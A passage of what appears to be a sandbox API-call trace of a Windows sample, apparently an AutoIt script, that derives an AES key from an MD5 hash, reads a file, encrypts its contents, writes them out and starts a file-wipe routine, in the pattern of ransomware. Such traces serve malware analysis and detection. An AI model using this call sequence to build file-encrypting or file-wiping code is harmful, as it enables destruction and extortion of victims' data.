lpOverlapped=0x0) returned 1 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3191, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12689) returned 1 [0030.085] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0030.086] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0030.086] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0030.086] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0030.086] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.086] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0030.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.086] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.087] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0030.087] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.087] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0030.087] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.087] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.087] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0030.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.087] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0030.087] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.087] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0030.089] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0030.089] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0030.090] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x40b7, lpOverlapped=0x0) returned 1 [0030.090] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0030.093] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0030.093] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0030.093] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0030.093] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.093] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.093] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0030.094] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.094] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.094] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.094] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x140b7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x140c0) returned 1 [0030.094] CharLowerBuffW (in: lpsz="byte[82113]", cchLength=0xb | out: lpsz="byte[82113]") returned 0xb [0030.097] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.097] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.097] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b6270*, pdwDataLen=0xe8f3dfdf68*=0x140b7, dwBufLen=0x140c0 | out: pbData=0xe8f43b6270*, pdwDataLen=0xe8f3dfdf68*=0x140c0) returned 1 [0030.097] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.097] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.097] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.102] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe470) returned 1 [0030.103] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0030.103] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0030.103] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.103] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.103] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.104] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f437a030*, nNumberOfBytesToWrite=0x140c0, lpNumberOfBytesWritten=0xe8f3dfee20, lpOverlapped=0x0 | out: lpBuffer=0xe8f437a030*, lpNumberOfBytesWritten=0xe8f3dfee20*=0x140c0, lpOverlapped=0x0) returned 1 [0030.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.106] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0030.106] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.106] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0030.106] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0030.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0xe8f417adc0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0030.107] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyKey") returned 0x7ffe2a59f3cc [0030.107] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0030.107] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.107] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.107] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.107] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.108] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.108] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.109] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.109] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.109] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.109] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.109] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.109] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.110] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.110] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.110] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.110] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.110] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0030.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417ad60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0030.111] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0030.111] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0030.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.111] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.111] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.113] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.117] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.117] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.117] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.117] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.117] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.117] CharLowerBuffW (in: lpsz="byte[82103]", cchLength=0xb | out: lpsz="byte[82103]") returned 0xb [0030.118] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.119] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.119] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.119] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.120] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0030.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.121] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.121] 